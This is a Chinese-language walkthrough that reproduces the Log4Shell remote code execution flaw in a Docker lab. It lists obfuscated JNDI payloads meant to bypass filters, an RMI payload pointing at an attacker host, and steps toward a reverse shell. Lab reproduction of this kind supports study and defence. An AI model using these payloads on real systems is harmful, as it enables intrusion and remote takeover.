Log4j遠程代碼執行漏洞復現


0x01 漏洞描述

log4j遠程代碼執行已經爆出好幾天了,因為種種原因一直沒有跟上時間進行發表文章,抽出一點時間復現一下這個漏洞

0x02 時間點

2021年11月24日,阿里雲安全團隊向Apache官方報告了Apache Log4j2遠程代碼執行漏洞。2021年12月10日,阿里雲安全團隊發現 Apache Log4j 2.15.0-rc1 版本存在漏洞繞過,請及時更新至 Apache Log4j 2.15.0-rc2 版本。

0x03 漏洞環境搭建

1.我這里使用的是vulfocus提供的docker環境,只需要在擁有docker的環境中運行
docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest命令就可以了
2.運行好之后使用docker ps查看已經運行的容器,確定容器啟動成功。

3.可以看到,他吧容器中的8080端口映射到了虛擬機的32768端口中,我們嘗試直接訪問虛擬機32768端口,成功(如果虛擬機docker啟動成功物理機訪問失敗可能是防火牆的問題哦)。

0x04 payload

${jndi:ldap://dnslog.cn}

bypass

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

0x05 漏洞驗證

vulfocus給我們提供的環境是/hello請求中傳遞的payload參數,我們只需要嘗試在提交的payload參數中添加我們要插入的payload就好了
1、使用DNSLOG進行驗證,可以看到,我們使用dnslog可以直接進行測試漏洞是否存在

2、隨便嘗試兩個bypass,都是可以的

${${::-j}ndi:rmi://qrdxrs.dnslog.cn/ass}

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://r0x0ob.dnslog.cn/poc}

0x06 執行命令

工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
源碼地址:https://github.com/welk1n/JNDI-Injection-Exploit
jar文件地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases
1.本地啟動惡意jndi注入代碼

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "需要執行的命令" -A "監聽的IP地址,0.0.0.0表示全部"

我這里就直接使用bash + nc進行shell的反彈和接收了。

2.服務器端開啟命令對應的NC監聽

3.在網頁中請求中payload參數為jndi注入的地址
可以根據被攻擊目標的JDK版本選擇不同的惡意類(不確定的化可通過fuzz進行嘗試),我這里使用的是第一個rmi://0.0.0.0:1099/5z0peo

4.發起攻擊請求,jndi工具記錄了JNDI遠程加載日志

payload=${jndi:rmi://192.168.146.1:1099/5z0peo}


5.服務器NC接收到bash反彈shell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM